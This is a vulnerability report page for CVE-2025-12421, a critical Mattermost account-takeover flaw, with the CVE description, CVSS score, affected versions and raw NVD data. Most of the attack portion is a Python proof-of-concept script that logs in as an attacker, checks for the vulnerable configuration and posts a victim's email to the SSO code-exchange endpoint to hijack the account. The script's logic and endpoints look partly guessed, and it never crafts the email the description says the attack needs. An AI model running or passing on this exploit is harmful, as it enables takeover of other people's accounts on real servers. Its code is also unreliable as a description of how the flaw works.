Security Vulnerability Report
中文
CVE-2025-12421 CVSS 9.9 CRITICAL

CVE-2025-12421

Published: 2025-11-27 18:15:46
Last Modified: 2025-12-03 15:10:43

Description

Mattermost versions 11.0.x <= 11.0.2, 10.12.x <= 10.12.1, 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to to verify that the token used during the code exchange originates from the same authentication flow, which allows an authenticated user to perform account takeover via a specially crafted email address used when switching authentication methods and sending a request to the /users/login/sso/code-exchange endpoint. The vulnerability requires ExperimentalEnableAuthenticationTransfer to be enabled (default: enabled) and RequireEmailVerification to be disabled (default: disabled).

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
Mattermost 11.0.x <= 11.0.2
Mattermost 10.12.x <= 10.12.1
Mattermost 10.11.x <= 10.11.4
Mattermost 10.5.x <= 10.5.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12421 PoC - Mattermost Authentication Bypass Account Takeover Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-12421 """ import requests import json import sys from urllib.parse import urljoin class MattermostExploit: def __init__(self, target_url, attacker_username, attacker_password): self.target_url = target_url.rstrip('/') self.attacker_username = attacker_username self.attacker_password = attacker_password self.session = requests.Session() self.token = None def login(self): """Authenticate as the attacker account""" login_url = urljoin(self.target_url, '/api/v4/users/login') payload = { 'login_id': self.attacker_username, 'password': self.attacker_password } response = self.session.post(login_url, json=payload) if response.status_code == 200: self.token = response.headers.get('Token') self.session.headers.update({'Authorization': f'Bearer {self.token}'}) print(f"[+] Successfully authenticated as {self.attacker_username}") return True print(f"[-] Authentication failed: {response.status_code}") return False def check_vulnerability(self): """Check if the target is vulnerable by verifying config settings""" config_url = urljoin(self.target_url, '/api/v4/config') response = self.session.get(config_url) if response.status_code == 200: config = response.json() auth_transfer = config.get('ExperimentalEnableAuthenticationTransfer', True) email_verification = config.get('RequireEmailVerification', False) print(f"[*] ExperimentalEnableAuthenticationTransfer: {auth_transfer}") print(f"[*] RequireEmailVerification: {email_verification}") if auth_transfer and not email_verification: print("[+] Target appears to be vulnerable (default config)") return True return False def initiate_auth_transfer(self, target_email): """Initiate authentication transfer with target email""" transfer_url = urljoin(self.target_url, '/api/v4/users/login/sso/init') payload = {'email': target_email} response = self.session.post(transfer_url, json=payload) if response.status_code in [200, 201]: data = response.json() print(f"[+] Auth transfer initiated for {target_email}") return data.get('flow_id') or data.get('state') print(f"[-] Auth transfer failed: {response.status_code}") return None def execute_code_exchange(self, flow_id, malicious_email): """Execute the OAuth code exchange with malicious email""" exchange_url = urljoin(self.target_url, '/users/login/sso/code-exchange') payload = { 'flow_id': flow_id, 'email': malicious_email, 'auth_type': 'saml' # or 'oauth' } response = self.session.post(exchange_url, json=payload) if response.status_code in [200, 201]: print(f"[+] Code exchange successful - Account takeover achieved") return True print(f"[-] Code exchange failed: {response.status_code}") return False def exploit(self, target_email): """Execute the full attack chain""" print(f"[*] Starting CVE-2025-12421 exploitation against {self.target_url}") if not self.login(): return False if not self.check_vulnerability(): print("[-] Target may not be vulnerable") flow_id = self.initiate_auth_transfer(target_email) if not flow_id: return False return self.execute_code_exchange(flow_id, target_email) if __name__ == '__main__': if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <attacker_user> <attacker_pass> <target_email>") print(f"Example: {sys.argv[0]} https://mattermost.example.com [email protected] Pass123! [email protected]") sys.exit(1) target = sys.argv[1] attacker_user = sys.argv[2] attacker_pass = sys.argv[3] target_email = sys.argv[4] exploit = MattermostExploit(target, attacker_user, attacker_pass) success = exploit.exploit(target_email) sys.exit(0 if success else 1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12421", "sourceIdentifier": "[email protected]", "published": "2025-11-27T18:15:46.223", "lastModified": "2025-12-03T15:10:42.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.0.x <= 11.0.2, 10.12.x <= 10.12.1, 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to to verify that the token used during the code exchange originates from the same authentication flow, which allows an authenticated user to perform account takeover via a specially crafted email address used when switching authentication methods and sending a request to the /users/login/sso/code-exchange endpoint. The vulnerability requires ExperimentalEnableAuthenticationTransfer to be enabled (default: enabled) and RequireEmailVerification to be disabled (default: disabled)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-303"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.5.0", "versionEndExcluding": "10.5.13", "matchCriteriaId": "91D99F7F-B4EE-447C-9B77-82DD64B1D83A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.5", "matchCriteriaId": "A8368192-621C-4043-827E-DB4F6946AD92"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.12.0", "versionEndExcluding": "10.12.2", "matchCriteriaId": "ED48D731-6490-4DD5-94D4-EE4555BB93ED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.0.3", "matchCriteriaId": "3A288B87-76F2-415B-8462-3D185EB7A9B3"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}